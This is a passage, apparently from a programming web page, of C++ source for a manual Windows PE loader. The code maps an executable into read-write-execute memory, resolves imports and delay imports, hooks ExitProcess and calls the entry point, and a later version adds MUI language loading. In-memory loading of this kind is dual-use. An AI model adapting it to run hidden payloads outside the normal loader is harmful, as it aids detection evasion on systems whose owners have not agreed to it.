        return mem ? mem : VirtualAlloc(nullptr, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    }

    void copyImage() {
        std::memcpy(image_, map_-&amp;gt;data(), nt_-&amp;gt;OptionalHeader.SizeOfHeaders);
        auto section = IMAGE_FIRST_SECTION(nt_);
        for (int i = 0; i &amp;lt; nt_-&amp;gt;FileHeader.NumberOfSections; ++i, ++section) {
            if (!section-&amp;gt;SizeOfRawData) continue;
            std::memcpy(util::rvaToPtr(image_, section-&amp;gt;VirtualAddress),
                static_cast&amp;lt;const BYTE*&amp;gt;(map_-&amp;gt;data()) + section-&amp;gt;PointerToRawData,
                section-&amp;gt;SizeOfRawData);
        }
    }

    bool resolveImports() {
        const auto&amp;amp; dir = nt_-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
        if (!dir.Size) return true;

        auto imp = reinterpret_cast&amp;lt;PIMAGE_IMPORT_DESCRIPTOR&amp;gt;(util::rvaToPtr(image_, dir.VirtualAddress));
        while (imp-&amp;gt;Name) {
            const char* dllName = reinterpret_cast&amp;lt;char*&amp;gt;(util::rvaToPtr(image_, imp-&amp;gt;Name));
            HMODULE dll = LoadLibraryA(dllName);
            if (!dll) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Cannot load &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot;\n&quot;;
                return false;
            }

            auto thunkName = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(
                util::rvaToPtr(image_, imp-&amp;gt;OriginalFirstThunk ? imp-&amp;gt;OriginalFirstThunk : imp-&amp;gt;FirstThunk));
            auto thunkIAT = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(util::rvaToPtr(image_, imp-&amp;gt;FirstThunk));

            while (thunkName-&amp;gt;u1.AddressOfData) {
                FARPROC func = nullptr;
                if (IMAGE_SNAP_BY_ORDINAL(thunkName-&amp;gt;u1.Ordinal)) {
                    func = GetProcAddress(dll, MAKEINTRESOURCEA(IMAGE_ORDINAL(thunkName-&amp;gt;u1.Ordinal)));
                }
                else {
                    auto ibn = reinterpret_cast&amp;lt;PIMAGE_IMPORT_BY_NAME&amp;gt;(
                        util::rvaToPtr(image_, thunkName-&amp;gt;u1.AddressOfData));
                    func = (std::strcmp(&quot;ExitProcess&quot;, ibn-&amp;gt;Name) == 0)
                        ? reinterpret_cast&amp;lt;FARPROC&amp;gt;(&amp;amp;ExitProcessHook)
                        : GetProcAddress(dll, ibn-&amp;gt;Name);
                }
                thunkIAT-&amp;gt;u1.Function = reinterpret_cast&amp;lt;ULONGLONG&amp;gt;(func);
                ++thunkName; ++thunkIAT;
            }
            ++imp;
        }
        return true;
    }

    bool resolveDelayImports() {
        const auto&amp;amp; dir = nt_-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT];
        if (!dir.Size) {
            std::cout &amp;lt;&amp;lt; &quot;[+] No delay imports to resolve\n&quot;;
            return true; // No delay imports
        }

        std::cout &amp;lt;&amp;lt; &quot;[+] Processing delay imports...\n&quot;;
        auto desc = reinterpret_cast&amp;lt;PIMAGE_DELAYLOAD_DESCRIPTOR&amp;gt;(util::rvaToPtr(image_, dir.VirtualAddress));

        while (desc-&amp;gt;DllNameRVA) {
            if (!util::validatePtr(image_, imageSize_, desc, sizeof(IMAGE_DELAYLOAD_DESCRIPTOR))) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid delay import descriptor\n&quot;;
                return false;
            }

            // Get DLL name
            ULONGLONG imageBase = nt_-&amp;gt;OptionalHeader.ImageBase;
            ULONGLONG dllNameRva = desc-&amp;gt;DllNameRVA;
            if (dllNameRva &amp;gt; imageBase) {
                dllNameRva -= imageBase; // Convert VA to RVA if needed
            }

            const char* dllName = reinterpret_cast&amp;lt;const char*&amp;gt;(util::rvaToPtr(image_, dllNameRva));
            if (!util::validatePtr(image_, imageSize_, const_cast&amp;lt;char*&amp;gt;(dllName), 1)) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid DLL name in delay import\n&quot;;
                return false;
            }

            std::cout &amp;lt;&amp;lt; &quot;[+] Processing delay import DLL: &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot;\n&quot;;

            // Process delay import functions
            bool success = false;
#ifdef _WIN64
            success = processDelayImport&amp;lt;ULONGLONG, IMAGE_THUNK_DATA64&amp;gt;(
                desc, dllName, imageBase, IMAGE_ORDINAL_FLAG64);
#else
            success = processDelayImport&amp;lt;DWORD, IMAGE_THUNK_DATA32&amp;gt;(
                desc, dllName, imageBase, IMAGE_ORDINAL_FLAG32);
#endif
            if (!success) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to process delay imports for &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot;\n&quot;;
                return false;
            }

            ++desc;
        }

        std::cout &amp;lt;&amp;lt; &quot;[+] Delay imports resolved successfully\n&quot;;
        return true;
    }

    template&amp;lt;typename T_FIELD, typename T_IMAGE_THUNK_DATA&amp;gt;
    bool processDelayImport(PIMAGE_DELAYLOAD_DESCRIPTOR desc, const char* dllName,
        ULONGLONG imageBase, T_FIELD ordinalFlag) {
        // Load the DLL
        HMODULE dll = LoadLibraryA(dllName);
        if (!dll) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Cannot load delay import DLL: &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot;\n&quot;;
            return false;
        }

        // Get RVAs
        ULONGLONG iatRva = desc-&amp;gt;ImportAddressTableRVA;
        if (iatRva &amp;gt; imageBase) iatRva -= imageBase;

        ULONGLONG thunkRva = desc-&amp;gt;ImportNameTableRVA;
        if (thunkRva &amp;gt; imageBase) thunkRva -= imageBase;

        // Get pointers to tables
        auto iatPtr = reinterpret_cast&amp;lt;T_FIELD*&amp;gt;(util::rvaToPtr(image_, iatRva));
        auto thunkPtr = reinterpret_cast&amp;lt;T_IMAGE_THUNK_DATA*&amp;gt;(util::rvaToPtr(image_, thunkRva));

        // Process each function
        while (*iatPtr &amp;amp;&amp;amp; thunkPtr-&amp;gt;u1.AddressOfData) {
            if (!util::validatePtr(image_, imageSize_, iatPtr, sizeof(T_FIELD)) ||
                !util::validatePtr(image_, imageSize_, thunkPtr, sizeof(T_IMAGE_THUNK_DATA))) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid delay import thunk\n&quot;;
                return false;
            }

            FARPROC func = nullptr;

            // Check if import by ordinal
            if (thunkPtr-&amp;gt;u1.Ordinal &amp;amp; ordinalFlag) {
                T_FIELD ordinal = thunkPtr-&amp;gt;u1.Ordinal &amp;amp; (~ordinalFlag);
                func = GetProcAddress(dll, MAKEINTRESOURCEA(ordinal));
            }
            else {
                // Import by name
                ULONGLONG nameRva = thunkPtr-&amp;gt;u1.AddressOfData;
                if (nameRva &amp;gt; imageBase) nameRva -= imageBase;

                auto ibn = reinterpret_cast&amp;lt;PIMAGE_IMPORT_BY_NAME&amp;gt;(util::rvaToPtr(image_, nameRva));
                if (!util::validatePtr(image_, imageSize_, ibn, sizeof(IMAGE_IMPORT_BY_NAME))) {
                    std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid import by name structure\n&quot;;
                    return false;
                }

                const char* funcName = reinterpret_cast&amp;lt;const char*&amp;gt;(ibn-&amp;gt;Name);
                if (std::strcmp(&quot;ExitProcess&quot;, funcName) == 0) {
                    func = reinterpret_cast&amp;lt;FARPROC&amp;gt;(&amp;amp;ExitProcessHook);
                }
                else {
                    func = GetProcAddress(dll, funcName);
                }
            }

            if (func) {
                // Rather than using proxy functions, directly patch the IAT
                *iatPtr = reinterpret_cast&amp;lt;T_FIELD&amp;gt;(func);
            }
            else {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to resolve delay import function\n&quot;;
                return false;
            }

            ++iatPtr;
            ++thunkPtr;
        }

        return true;
    }

    bool applyRelocations() {
        ULONGLONG delta = reinterpret_cast&amp;lt;ULONGLONG&amp;gt;(image_) - nt_-&amp;gt;OptionalHeader.ImageBase;
        if (!delta) return true;

        const auto&amp;amp; dir = nt_-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        if (!dir.Size) {
            std::cerr &amp;lt;&amp;lt; &quot;[reloc] table missing\n&quot;;
            return false;
        }

        auto reloc = reinterpret_cast&amp;lt;PIMAGE_BASE_RELOCATION&amp;gt;(util::rvaToPtr(image_, dir.VirtualAddress));
        while (reloc-&amp;gt;SizeOfBlock) {
            auto count = (reloc-&amp;gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            auto entry = reinterpret_cast&amp;lt;PWORD&amp;gt;(reloc + 1);

            for (DWORD i = 0; i &amp;lt; count; ++i, ++entry) {
                WORD type = *entry &amp;gt;&amp;gt; 12;
                WORD off = *entry &amp;amp; 0xFFF;
                if (type == IMAGE_REL_BASED_HIGHLOW || type == IMAGE_REL_BASED_DIR64) {
                    auto patch = reinterpret_cast&amp;lt;PULONGLONG&amp;gt;(
                        util::rvaToPtr(image_, reloc-&amp;gt;VirtualAddress + off));
                    *patch += delta;
                }
            }
            reloc = reinterpret_cast&amp;lt;PIMAGE_BASE_RELOCATION&amp;gt;(
                reinterpret_cast&amp;lt;BYTE*&amp;gt;(reloc) + reloc-&amp;gt;SizeOfBlock);
        }
        return true;
    }

    int callEntry() {
        auto entry = util::rvaToPtr(image_, nt_-&amp;gt;OptionalHeader.AddressOfEntryPoint);
        if (nt_-&amp;gt;FileHeader.Characteristics &amp;amp; IMAGE_FILE_DLL) {
            auto dllMain = reinterpret_cast&amp;lt;BOOL(WINAPI*)(HINSTANCE, DWORD, LPVOID)&amp;gt;(entry);
            dllMain(reinterpret_cast&amp;lt;HINSTANCE&amp;gt;(image_), DLL_PROCESS_ATTACH, nullptr);
            return 0;
        }
        if (nt_-&amp;gt;OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI) {
            auto winMain = reinterpret_cast&amp;lt;int (WINAPI*)(HINSTANCE, HINSTANCE, LPSTR, int)&amp;gt;(entry);
            return winMain(reinterpret_cast&amp;lt;HINSTANCE&amp;gt;(image_), nullptr,
                const_cast&amp;lt;char*&amp;gt;(cmd_.raw()), SW_SHOWDEFAULT);
        }
        auto mainFn = reinterpret_cast&amp;lt;int (*)(int, char**)&amp;gt;(entry);
        return mainFn(cmd_.argc(), cmd_.argv());
    }

    // ---------- members ----------
    CommandLine&amp;amp; cmd_;
    std::unique_ptr&amp;lt;FileMap&amp;gt;     map_;
    PIMAGE_NT_HEADERS            nt_{ nullptr };
    LPVOID                       image_{ nullptr };
    SIZE_T                       imageSize_{ 0 };
    bool                         exitCalled_{ false };
    DWORD                        exitCode_{ 0 };
};

// --------------------------------------------------
// Entry point
// --------------------------------------------------
int main(int argc, char* argv[]) {
    if (argc &amp;lt; 2) {
        std::cout &amp;lt;&amp;lt; &quot;Usage: &quot; &amp;lt;&amp;lt; argv[0] &amp;lt;&amp;lt; &quot; &amp;lt;pe_file&amp;gt; [arguments...]\n&quot;;
        return 1;
    }
    CommandLine cmd(argc, argv, 2); // skip exe + target path
    PELoader loader(cmd);
    if (!loader.load(argv[1])) return 1;
    return loader.run();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Load MUI&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define WIN32_LEAN_AND_MEAN
#include &amp;lt;windows.h&amp;gt;
#include &amp;lt;winternl.h&amp;gt;
#include &amp;lt;winnls.h&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;memory&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;unordered_map&amp;gt;

#pragma comment(lib, &quot;kernel32.lib&quot;)

// Delay import structures (in case SDK doesn&apos;t have them)
#ifndef IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13
#endif

#if (defined(_WIN32_WINNT) &amp;amp;&amp;amp; _WIN32_WINNT &amp;lt;= 0x0601) &amp;amp;&amp;amp; !defined(__MINGW32__)
#include &quot;pshpack4.h&quot;
typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR {
    union {
        DWORD AllAttributes;
        struct {
            DWORD RvaBased : 1;             // Delay load version 2
            DWORD ReservedAttributes : 31;
        } DUMMYSTRUCTNAME;
    } Attributes;

    DWORD DllNameRVA;                       // RVA to the name of the target library
    DWORD ModuleHandleRVA;                  // RVA to the HMODULE caching location
    DWORD ImportAddressTableRVA;            // RVA to the start of the IAT
    DWORD ImportNameTableRVA;               // RVA to the start of the name table
    DWORD BoundImportAddressTableRVA;       // RVA to an optional bound IAT
    DWORD UnloadInformationTableRVA;        // RVA to an optional unload info table
    DWORD TimeDateStamp;                    // 0 if not bound
} IMAGE_DELAYLOAD_DESCRIPTOR, * PIMAGE_DELAYLOAD_DESCRIPTOR;
#include &quot;poppack.h&quot;
#endif

// --------------------------------------------------
// MUI Manager for Multilingual Support
// --------------------------------------------------
class MUIManager {
public:
    MUIManager() : currentMUI_(nullptr) {
        initializeDefaultLanguage();
    }

    ~MUIManager() {
        cleanup();
    }

    bool loadLanguage(const std::wstring&amp;amp; languageCode) {
        HMODULE newMUI = loadMUIModule(languageCode);
        if (newMUI) {
            if (currentMUI_ &amp;amp;&amp;amp; currentMUI_ != GetModuleHandleW(nullptr)) {
                FreeLibrary(currentMUI_);
            }
            currentMUI_ = newMUI;
            currentLanguage_ = languageCode;
            std::wcout &amp;lt;&amp;lt; L&quot;[MUI] Loaded language: &quot; &amp;lt;&amp;lt; languageCode &amp;lt;&amp;lt; L&quot;\n&quot;;
            return true;
        }
        return false;
    }

    std::wstring loadString(UINT resourceId) const {
        if (!currentMUI_) return L&quot;&quot;;

        wchar_t buffer[1024];
        int result = LoadStringW(currentMUI_, resourceId, buffer, 1024);
        return result &amp;gt; 0 ? std::wstring(buffer) : L&quot;&quot;;
    }

    const std::wstring&amp;amp; getCurrentLanguage() const {
        return currentLanguage_;
    }

    bool isLanguageAvailable(const std::wstring&amp;amp; languageCode) const {
        HMODULE testMUI = loadMUIModule(languageCode);
        if (testMUI) {
            FreeLibrary(testMUI);
            return true;
        }
        return false;
    }

private:
    void initializeDefaultLanguage() {
        wchar_t langBuffer[LOCALE_NAME_MAX_LENGTH];
        if (GetUserDefaultLocaleName(langBuffer, LOCALE_NAME_MAX_LENGTH)) {
            currentLanguage_ = langBuffer;
        }
        else {
            currentLanguage_ = L&quot;en-US&quot;;
        }

        // Try to load default language MUI
        if (!loadLanguage(currentLanguage_)) {
            // Fallback to English
            if (!loadLanguage(L&quot;en-US&quot;)) {
                // Final fallback to main module
                currentMUI_ = GetModuleHandleW(nullptr);
                currentLanguage_ = L&quot;default&quot;;
            }
        }
    }

    HMODULE loadMUIModule(const std::wstring&amp;amp; languageCode) const {
        // Get current module path
        wchar_t modulePath[MAX_PATH];
        if (!GetModuleFileNameW(nullptr, modulePath, MAX_PATH)) {
            return nullptr;
        }

        // Extract directory and filename
        std::wstring moduleDir = modulePath;
        size_t lastSlash = moduleDir.find_last_of(L&quot;\\/&quot;);
        if (lastSlash == std::wstring::npos) return nullptr;

        std::wstring fileName = moduleDir.substr(lastSlash + 1);
        moduleDir = moduleDir.substr(0, lastSlash);

        // Construct MUI path: ModuleDir\LanguageCode\ModuleName.mui
        std::wstring muiPath = moduleDir + L&quot;\\&quot; + languageCode + L&quot;\\&quot; + fileName + L&quot;.mui&quot;;

        // Try to load MUI file
        return LoadLibraryExW(muiPath.c_str(), nullptr,
            LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE);
    }

    void cleanup() {
        if (currentMUI_ &amp;amp;&amp;amp; currentMUI_ != GetModuleHandleW(nullptr)) {
            FreeLibrary(currentMUI_);
            currentMUI_ = nullptr;
        }
    }

    HMODULE currentMUI_;
    std::wstring currentLanguage_;
};

// --------------------------------------------------
// Utility
// --------------------------------------------------
namespace util {
    inline LPVOID rvaToPtr(LPVOID base, DWORD rva) {
        return static_cast&amp;lt;BYTE*&amp;gt;(base) + rva;
    }

    inline bool validatePtr(LPVOID base, SIZE_T baseSize, LPVOID ptr, SIZE_T ptrSize) {
        if (!base || !ptr || baseSize == 0 || ptrSize == 0) return false;
        auto start = reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(base);
        auto end = start + baseSize;
        auto check = reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(ptr);
        return (check &amp;gt;= start) &amp;amp;&amp;amp; (check + ptrSize &amp;lt;= end);
    }

    inline std::string getLastErrorString() {
        DWORD error = GetLastError();
        if (error == 0) return &quot;No error&quot;;

        LPSTR messageBuffer = nullptr;
        size_t size = FormatMessageA(
            FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
            nullptr, error, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
            (LPSTR)&amp;amp;messageBuffer, 0, nullptr);

        std::string message(messageBuffer, size);
        LocalFree(messageBuffer);
        return message;
    }
}

// --------------------------------------------------
// RAII file‑mapping wrapper
// --------------------------------------------------
class FileMap {
public:
    explicit FileMap(const std::string&amp;amp; path) {
        file_ = CreateFileA(path.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (file_ == INVALID_HANDLE_VALUE) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] Cannot open &quot; &amp;lt;&amp;lt; path &amp;lt;&amp;lt; &quot; (&quot; &amp;lt;&amp;lt; util::getLastErrorString() &amp;lt;&amp;lt; &quot;)\n&quot;;
            return;
        }

        LARGE_INTEGER fileSize;
        if (!GetFileSizeEx(file_, &amp;amp;fileSize)) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] GetFileSizeEx failed (&quot; &amp;lt;&amp;lt; util::getLastErrorString() &amp;lt;&amp;lt; &quot;)\n&quot;;
            return;
        }
        size_ = static_cast&amp;lt;DWORD&amp;gt;(fileSize.QuadPart);

        mapping_ = CreateFileMappingA(file_, nullptr, PAGE_READONLY, 0, 0, nullptr);
        if (!mapping_) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] CreateFileMapping failed (&quot; &amp;lt;&amp;lt; util::getLastErrorString() &amp;lt;&amp;lt; &quot;)\n&quot;;
            return;
        }
        view_ = MapViewOfFile(mapping_, FILE_MAP_READ, 0, 0, 0);
        if (!view_) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] MapViewOfFile failed (&quot; &amp;lt;&amp;lt; util::getLastErrorString() &amp;lt;&amp;lt; &quot;)\n&quot;;
        }
    }

    ~FileMap() {
        if (view_)    UnmapViewOfFile(view_);
        if (mapping_) CloseHandle(mapping_);
        if (file_ != INVALID_HANDLE_VALUE) CloseHandle(file_);
    }

    [[nodiscard]] bool   valid() const { return view_ != nullptr; }
    [[nodiscard]] const void* data()  const { return view_; }
    [[nodiscard]] DWORD  size()  const { return size_; }

private:
    HANDLE file_{ INVALID_HANDLE_VALUE };
    HANDLE mapping_{ nullptr };
    LPVOID view_{ nullptr };
    DWORD  size_{ 0 };
};

// --------------------------------------------------
// Command‑line helper (skips first &amp;lt;skip&amp;gt; parameters)
// --------------------------------------------------
class CommandLine {
public:
    CommandLine(int argc, char* argv[], int skip = 0) {
        for (int i = skip; i &amp;lt; argc; ++i) {
            args_.emplace_back(argv[i]);
        }
        buildRaw();
        buildArgv();
    }

    [[nodiscard]] int      argc() const { return static_cast&amp;lt;int&amp;gt;(args_.size()); }
    [[nodiscard]] char** argv() const { return argv_.get(); }
    [[nodiscard]] LPCSTR   raw()  const { return raw_.c_str(); }

private:
    void buildRaw() {
        for (size_t i = 0; i &amp;lt; args_.size(); ++i) {
            if (i) raw_ += &apos; &apos;;
            const auto&amp;amp; s = args_[i];
            if (s.find_first_of(&quot; \t&quot;) != std::string::npos) {
                raw_ += &apos;&quot;&apos; + s + &apos;&quot;&apos;;
            }
            else {
                raw_ += s;
            }
        }
    }

    void buildArgv() {
        argv_ = std::make_unique&amp;lt;char* []&amp;gt;(args_.size() + 1);
        for (size_t i = 0; i &amp;lt; args_.size(); ++i) {
            argv_[i] = args_[i].data();
        }
        argv_[args_.size()] = nullptr; // Null terminate
    }

    std::vector&amp;lt;std::string&amp;gt; args_;
    std::string              raw_;
    std::unique_ptr&amp;lt;char* []&amp;gt; argv_;
};

// Forward decl so static hook can access loader instance
class PELoader;
static PELoader* g_loader = nullptr;

// Stub function for missing imports
static LONG_PTR WINAPI StubFunction() {
    std::cout &amp;lt;&amp;lt; &quot;[STUB] Called missing function - returning 0\n&quot;;
    return 0;
}

// --------------------------------------------------
// PE loader (single‑file, minimal OOP) with delay import support
// --------------------------------------------------
class PELoader {
private:
    bool skipMissingImports_;

public:
    explicit PELoader(CommandLine&amp;amp; cmd, bool skipMissingImports = false)
        : cmd_(cmd), skipMissingImports_(skipMissingImports), muiManager_(std::make_unique&amp;lt;MUIManager&amp;gt;()) {
        g_loader = this;
    }

    ~PELoader() {
        cleanup();
        g_loader = nullptr;
    }

    // Intercept ExitProcess so the host process keeps control
    static void WINAPI ExitProcessHook(UINT code) {
        if (g_loader) {
            g_loader-&amp;gt;exitCalled_ = true;
            g_loader-&amp;gt;exitCode_ = code;
            std::cout &amp;lt;&amp;lt; &quot;[+] ExitProcess intercepted — code=&quot; &amp;lt;&amp;lt; code &amp;lt;&amp;lt; &quot;\n&quot;;
        }
    }

    bool load(const std::string&amp;amp; path) {
        try {
            map_ = std::make_unique&amp;lt;FileMap&amp;gt;(path);
            if (!map_-&amp;gt;valid()) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to map file: &quot; &amp;lt;&amp;lt; path &amp;lt;&amp;lt; &quot;\n&quot;;
                return false;
            }

            if (!isValidPE(map_-&amp;gt;data())) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid PE file: &quot; &amp;lt;&amp;lt; path &amp;lt;&amp;lt; &quot;\n&quot;;
                return false;
            }

            nt_ = getNtHeaders(map_-&amp;gt;data());
            if (!nt_) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid NT headers\n&quot;;
                return false;
            }

            imageSize_ = nt_-&amp;gt;OptionalHeader.SizeOfImage;
            if (imageSize_ == 0 || imageSize_ &amp;gt; 0x10000000) { // Sanity check
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid image size: &quot; &amp;lt;&amp;lt; imageSize_ &amp;lt;&amp;lt; &quot;\n&quot;;
                return false;
            }

            image_ = allocateImage(nt_);
            if (!image_) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to allocate image memory\n&quot;;
                return false;
            }

            if (!copyImage()) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to copy image\n&quot;;
                return false;
            }

            nt_ = getNtHeaders(image_);

            if (!resolveImports()) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to resolve imports\n&quot;;
                return false;
            }

            if (!resolveDelayImports()) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to resolve delay imports\n&quot;;
                return false;
            }

            if (!applyRelocations()) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to apply relocations\n&quot;;
                return false;
            }

            // Try to load MUI resources for the loaded PE
            loadMUIResources(path);

            std::cout &amp;lt;&amp;lt; &quot;[+] PE loaded successfully at: &quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; image_ &amp;lt;&amp;lt; std::dec &amp;lt;&amp;lt; &quot;\n&quot;;
            return true;
        }
        catch (const std::exception&amp;amp; e) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Exception during load: &quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; &quot;\n&quot;;
            return false;
        }
    }

    int run() {
        if (!image_) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] No image loaded\n&quot;;
            return -1;
        }

        try {
            return callEntry();
        }
        catch (const std::exception&amp;amp; e) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Exception during execution: &quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; &quot;\n&quot;;
            return -1;
        }
    }

    // MUI related functions
    bool setLanguage(const std::wstring&amp;amp; languageCode) {
        bool result = muiManager_-&amp;gt;loadLanguage(languageCode);
        if (!result) {
            std::wcout &amp;lt;&amp;lt; L&quot;[!] MUI file not found for language: &quot; &amp;lt;&amp;lt; languageCode &amp;lt;&amp;lt; L&quot; (continuing without MUI)\n&quot;;
        }
        return result;
    }

    std::wstring getString(UINT resourceId) const {
        return muiManager_-&amp;gt;loadString(resourceId);
    }

private:
    // ---------- helpers ----------
    static bool isValidPE(const void* data) {
        if (!data) return false;

        auto dos = reinterpret_cast&amp;lt;const IMAGE_DOS_HEADER*&amp;gt;(data);
        if (dos-&amp;gt;e_magic != IMAGE_DOS_SIGNATURE) return false;

        if (dos-&amp;gt;e_lfanew &amp;lt; sizeof(IMAGE_DOS_HEADER) || dos-&amp;gt;e_lfanew &amp;gt; 0x1000) {
            return false;
        }

        auto nt = reinterpret_cast&amp;lt;const IMAGE_NT_HEADERS*&amp;gt;(
            static_cast&amp;lt;const BYTE*&amp;gt;(data) + dos-&amp;gt;e_lfanew);
        return nt-&amp;gt;Signature == IMAGE_NT_SIGNATURE;
    }

    static PIMAGE_NT_HEADERS getNtHeaders(const void* base) {
        if (!base) return nullptr;

        auto dos = reinterpret_cast&amp;lt;const IMAGE_DOS_HEADER*&amp;gt;(base);
        if (dos-&amp;gt;e_magic != IMAGE_DOS_SIGNATURE) return nullptr;

        return reinterpret_cast&amp;lt;PIMAGE_NT_HEADERS&amp;gt;(
            static_cast&amp;lt;BYTE*&amp;gt;(const_cast&amp;lt;void*&amp;gt;(base)) + dos-&amp;gt;e_lfanew);
    }

    LPVOID allocateImage(PIMAGE_NT_HEADERS nt) {
        if (!nt) return nullptr;

        SIZE_T sz = nt-&amp;gt;OptionalHeader.SizeOfImage;
        auto preferred = reinterpret_cast&amp;lt;LPVOID&amp;gt;(nt-&amp;gt;OptionalHeader.ImageBase);

        // Try preferred address first
        auto mem = VirtualAlloc(preferred, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (mem) {
            std::cout &amp;lt;&amp;lt; &quot;[+] Allocated at preferred address: &quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; mem &amp;lt;&amp;lt; std::dec &amp;lt;&amp;lt; &quot;\n&quot;;
            return mem;
        }

        // Fallback to any address
        mem = VirtualAlloc(nullptr, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (mem) {
            std::cout &amp;lt;&amp;lt; &quot;[+] Allocated at alternate address: &quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; mem &amp;lt;&amp;lt; std::dec &amp;lt;&amp;lt; &quot;\n&quot;;
        }
        return mem;
    }

    bool copyImage() {
        if (!image_ || !map_ || !nt_) return false;

        // Copy headers
        SIZE_T headerSize = nt_-&amp;gt;OptionalHeader.SizeOfHeaders;
        if (headerSize &amp;gt; map_-&amp;gt;size()) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid header size\n&quot;;
            return false;
        }

        std::memcpy(image_, map_-&amp;gt;data(), headerSize);

        // Copy sections
        auto section = IMAGE_FIRST_SECTION(nt_);
        for (int i = 0; i &amp;lt; nt_-&amp;gt;FileHeader.NumberOfSections; ++i, ++section) {
            if (!section-&amp;gt;SizeOfRawData) continue;

            if (section-&amp;gt;PointerToRawData + section-&amp;gt;SizeOfRawData &amp;gt; map_-&amp;gt;size()) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid section data\n&quot;;
                return false;
            }

            if (section-&amp;gt;VirtualAddress + section-&amp;gt;SizeOfRawData &amp;gt; imageSize_) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Section exceeds image size\n&quot;;
                return false;
            }

            std::memcpy(util::rvaToPtr(image_, section-&amp;gt;VirtualAddress),
                static_cast&amp;lt;const BYTE*&amp;gt;(map_-&amp;gt;data()) + section-&amp;gt;PointerToRawData,
                section-&amp;gt;SizeOfRawData);
        }
        return true;
    }

    bool resolveImports() {
        const auto&amp;amp; dir = nt_-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
        if (!dir.Size) {
            std::cout &amp;lt;&amp;lt; &quot;[+] No imports to resolve\n&quot;;
            return true;
        }

        if (!util::validatePtr(image_, imageSize_,
            util::rvaToPtr(image_, dir.VirtualAddress), dir.Size)) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid import directory\n&quot;;
            return false;
        }

        auto imp = reinterpret_cast&amp;lt;PIMAGE_IMPORT_DESCRIPTOR&amp;gt;(
            util::rvaToPtr(image_, dir.VirtualAddress));

        while (imp-&amp;gt;Name) {
            if (!util::validatePtr(image_, imageSize_, imp, sizeof(IMAGE_IMPORT_DESCRIPTOR))) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid import descriptor\n&quot;;
                return false;
            }

            const char* dllName = reinterpret_cast&amp;lt;char*&amp;gt;(util::rvaToPtr(image_, imp-&amp;gt;Name));
            if (!util::validatePtr(image_, imageSize_, const_cast&amp;lt;char*&amp;gt;(dllName), 1)) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid DLL name\n&quot;;
                return false;
            }

